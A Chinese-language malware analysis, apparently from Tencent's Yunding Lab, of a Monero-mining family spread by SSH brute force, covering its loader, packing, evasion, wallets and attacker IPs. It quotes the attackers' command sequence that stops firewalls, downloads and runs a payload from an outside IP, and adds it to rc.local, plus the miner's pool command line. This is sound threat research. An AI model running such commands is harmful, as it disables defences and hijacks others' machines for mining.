欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~
一、前言
腾讯安全云鼎实验室通过部署的威胁感知系统捕获了一批挖矿样本(具有同源性),是一批可挖取门罗币(xmr)的挖矿病毒。这批样本今年5月开始出现,目前各大杀软对此样本基本无法有效查杀,腾讯云云镜第一时间跟进查杀。根据进一步溯源的信息可以推测该挖矿团伙利用被入侵的博彩网站服务器进行病毒传播。分析显示,此挖矿样本不具有传播性,总体结构式是 Loader + 挖矿子体,挖矿团伙通过控制的机器进行远程 SSH 暴力破解并将病毒进行传播。由于目前能对付此病毒的杀软极少,且该病毒通过入侵的赌博网站服务器进行病毒传播、挖矿,让真相扑朔迷离,云鼎实验室威胁情报小组将本次门罗币挖矿新家族命名为「罗生门」。
二、病毒母体分析
挖矿样本通过母体释放挖矿子体,母体是 Loader ,释放挖矿子体,执行挖矿子体。母体本身不包含 SSH 爆破等蠕虫动作,子体就是单纯的挖矿代码(加壳变形 UPX)。通过观测发现,进行 SSH 爆破的主机 IP 较少且固定,可以认定为固定机器,使用工具进行扫描、爆破。通过这种广撒网的方式,犯罪团伙能收获不少门罗币。
攻击流程图:

攻击过程示意:

自启动代码:
在函数 main_Boot 中通过 sed 编辑 rc.local 和 boot.local 来进行自启动。

释放文件:

执行文件:

三、病毒子体分析
通过对挖矿样本进行分析发现,子体是一个加壳后的标准矿机程序,子体加壳也是导致杀软无法查杀的一个方式。子体加壳为 UPX 变形壳,可以抵抗通用脱壳机的脱壳。手动脱壳后发现为标准挖矿程序(开源矿机程序)。
相关开源项目连接为:https://github.com/sumoprojects/cryptonote-sumokoin-pool

四、矿池分析与统计
据观测今年5月至9月初,蜜罐捕获的「罗生门」挖矿病毒累计挖出约12.16个门罗币,价值约1w人民币(2018年10月8日,门罗币价格为114.2 USD,合计1388.67美金),算力为8557H/S,大约是皮皮虾矿池的百分之一算力。从算力上看,这种广撒网式的传播,也能有一定的规模。
挖矿样本执行挖矿的命令如下:
-B -o stratum+tcp://mine.ppxxmr.com:7777 -u 41tPS2hg6nc6DWNXDiWG7ngGSnLAaw4zmBeM478r1tkZDGH1y8aFPDiDqAFN8LouyAXTxtrLVigmRgLXytezCM'Qf1FwzqEi-p x -k --max-cpu-usage=75
从挖矿命令中可知,挖矿样本对 CPU 利用率有一定的限制,最大 CPU 使用量为75%。
挖矿样本针对的矿池地址和门罗币(xmr)产量如下:

对应的钱包地址为:
钱包地址:
45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT
45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT
45vKgdPY4M3Lp4RXWccWCBFP7HCtcp718GyGaNVmi58j9rdDX716yz5MKXT2EDjFixgPW8mjnaXvz2cBUpEqVCLKFH1z9Tx
45vKgdPY4M3Lp4RXWccWCBFP7HCtcp718GyGaNVmi58j9rdDX716yz5MKXT2EDjFixgPW8mjnaXvz2cBUpEqVCLKFH1z9Tx
41tPS2hg6nc6DWNXDiWG7ngGSnLAaw4zmBeM478r1tkZDGH1y8aFPDiDqAFN8LouyAXTxtrLVigmRgLXytezCMQf1FwzqEi
45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT
45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT
47xB4pdBngkhgTD1MdF9sidCa6QRXb4gv6qcGkV1TT4XD6LfZPo12CxeX8LCrqpVZm2eN3uAZ1zMQCcPnhWbLoPgNbK8y3Z
41tPS2hg6nc6DWNXDiWG7ngGSnLAaw4zmBeM478r1tkZDGH1y8aFPDiDqAFN8LouyAXTxtrLVigmRgLXytezCMQf1FwzqEi
五、免杀分析
1、检测效果:
将挖矿样本在 VirusTotal 中检测发现,除了 Drweb 可以检出此样本,其余杀软均无法有效检测此样本。挖矿病毒5月出现,流行3月有余,VirusTotal 上依然只有1款杀软可以查杀。
下图是挖矿样本在 VirusTotal 中的检测结果:

2、免杀流程:
基本所有杀软都无法查杀此病毒,此病毒通过 Go 语言 Loader 和子体加变形 UPX 壳进行免杀,对于 Linux 查杀较为薄弱的杀软,很容易漏报。
免杀示意图:

Loader 使用 Go 语言编写,大量的 Go 语言的库代码掩盖了真正的病毒代码部分,所以免杀效果较好。2155个 Go 语言库函数,真正的病毒代码包含在4个函数中。
六、溯源分析
对这批挖矿样本进行溯源分析发现,从今年5月开始,发起攻击的 IP一共有两个:160.124.67.66、123.249.34.103
另外,样本下载地址:181.215.242.240、123.249.9.141、123.249.34.103、58.221.72.157、160.124.48.150
SSH 暴力破解成功后执行的命令有(suSEfirewall 的关闭、iptables 的关闭、样本的下载):
/etc/init.d/iptables stop;
service iptables stop;
SuSEfirewall2 stop;
reSuSEfirewall2 stop;cd /tmp;
wget -c http://181.215.242.240/armtyu;
chmod 777 armtyu;./armtyu;
echo "cd /tmp/">>/etc/rc.local;
echo "./armtyu&">>/etc/rc.local;echo "/etc/init.d/iptables stop
扫描 IP 和下载 IP 信息表:
| IP 地址 | 服务器地址 | 对外开放服务 | 其他描述 |
|---|---|---|---|
| 181.215.242.240 | 美国 | netbios | ftp、垃圾邮件、僵尸网络 |
| 160.124.67.66 | 中国 香港 | netbios | mmhongcan168.com、28zuche.com、014o.com、ip28.net、扫描 |
| 160.124.48.150 | 中国 香港 | netbios | ip28.net、扫描 |
| 123.249.9.141 | 中国 贵州 | 僵尸网络 |
表格中 160.124.67.66 是扫描 IP,通过对 IP 信息的图谱聚类,发现香港的两台主机均为一个团伙控制的机器。 美国和贵州的机器是入侵得到的机器。
(团伙图聚类)
上面提到的扫描机器均为赌博网站的机器,曾经的域名 mmhongcan168、28zuche 等都是赌博网站。
